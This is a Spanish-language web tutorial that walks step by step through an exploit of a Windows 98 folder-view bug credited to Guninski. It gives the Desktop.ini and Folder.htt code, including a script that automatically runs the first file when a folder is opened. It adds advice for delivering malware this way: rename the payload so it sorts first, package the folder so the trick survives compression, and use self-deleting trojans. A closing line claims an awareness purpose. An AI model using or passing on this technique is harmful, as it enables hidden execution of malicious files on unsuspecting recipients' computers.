DEMOSTRACIÓN EN WIN98
En primer lugar vamos a crear esos 2 archivos que Windows ha "ocultado", para ello crea una carpeta, por ejemplo: TEST98, una vez dentro de esa carpeta, pulsa en "Ver" >> "Personalizar esta carpeta"
Elige que si, que quieres "crear o editar un documento HTML" y pulsa siguiente en el cuadro de instrucciones que aparece después, automáticamente se abrirá en archivo de texto, que es el código fuente del folder.htt, para que lo modifiquemos.
Por ahora ciérralo, vamos a modificarlo mas tarde, y pulsa finalizar en el siguiente cuadro, y da las gracias
Si abres ahora la carpeta verás ya los dos archivos de los que hemos estado hablando.
Vamos por partes.
El Desktop.ini es así:
[ExtShellFolderViews]
Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=file://Folder.htt
[.ShellClassInfo]
ConfirmFileOp=0
Lo único que ahora nos interesa es la línea:
PersistMoniker=file://Folder.htt
Esto es lo que hará que cuando abramos la carpeta, en Windows interprete el archivo Folder.htt
Este archivo debe estar en la carpeta que estamos probando, si se mete en una subcarpeta, no servirá.
El Archivo Folder.htt, aquí tienes una copia, como puedes ver es un código html y cambiándolo puedes hacer que tus carpetas sean muy diferentes, cambiando los iconos, u otras cosas, pero lo que aquí nos interesa está casi al final:
...
...
...
</div>
<!-- end left info panel -->
<!-- this is the standard file list control -->
<!-- webbot bot="HTMLMarkup" startspan -->
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
<!-- webbot bot="HTMLMarkup" endspan -->
</body>
</html>
Como se puede ver está todo perfectamente comentado
Lo interesante aquí es:
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
Ésta parte del código no la debemos tocar, el resto se podría eliminar y no pasaría nada, pero ahora tenemos que introducir nuestro código, para ello basta con poner el siguiente script:
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
Éste es el granTRUCO, descubierto por Guninski, con éste script, consiguió gracias a los () que Windows seleccione y ejecute el primer elemento de los
que haya en la carpeta, a través de la"function f()".
Con "FileList.focus()" consigue que se seleccione el primer elemento, y con "FileList.FocusedItem.InvokeVerb()" lo invoca, es decir, lo abre.
"setTimeout("f()",2000)" es el desencadenante de la función f() y el 2000 significa 2000 milisegundos, es decir, tardará 2 segundos en ejecutarse, es conveniente no modificar esto para que funcione bien.
Si ahora añadimos el script al Folder.htt, éste quedará así:
...
...
...
</div>
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
</body>
</html>
(Las líneas con <-- --> son comentarios que se pueden eliminar)
También podríamos hacer un documento con sólo estos dos elementos, como este:
<html>
<body >
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
</body>
</html>
Pero no es un entorno realista.
Ahora coloca el archivo que quieres que se ejecute al abrir la carpeta, y renómbralo como A.exe, si es un ejecutable, A.txt si es un texto, etc. El fin de esto es que se coloque de primero.
Hay que tener cuidado de que no haya mas carpetas dentro de ésta, puesto que si las hubiese, se situarían de primeras, y en vez de abrirse nuestro archivo, se abriría la primera carpeta.
Puedes bajarte aquí el ejemplo del que estamos hablando, es totalmente inofensivo.
Aún queda algo IMPORTANTE, evidentemente una carpeta no se puede enviar tal cual, hay que comprimirla, si se comprime con Winzip, éste elimina la personalización de la carpeta, para evitar esto es tan fácil como meter la carpeta modificada dentro de otra, de este modo el winzip, sólo pisará la personalización de la carpeta superior, dejado intacta la modificada, aunque después al abrirla tengas que pasar por dos carpetas hasta llegar a la nuestra.
Otra manera es comprimirlo con el Winrar, con el que no tenemos este problema
Este bug no lo he encontrado yo, es de Guninski, (cómo no) mío sólo es el uso del bug, de la forma que he explicado.
OBSERVACIONES:
Todo lo aquí explicado se hace bajo el supuesto de que el Windows está configurado para mostrar los archivos ocultos.
Las carpetas deben tener los iconos ordenados por nombre (opción por defecto) Si estás pensando que aún asi, el archivo que se ejecuta cantaría mucho, date cuenta de que en primer lugar, para cuando te des cuenta, ya será tarde y en segundo lugar hay troyanos/Virus que se autoeliminan una vez ejecutados y que aun así éstos pueden ir pegados a otros archivos que parezcan bromas inofensivas.
He encontrado algunos ejecutables que dan un error al ser abiertos de ésta forma, no se porqué, ni me importa, porque...
El propósito de todo ésto es que la gente sea consciente de los peligros que corre no ayudar a crear mas peligros.
Texto escrito por CyruxNET
http://cyruxnet.com.ar/carpeta98.htm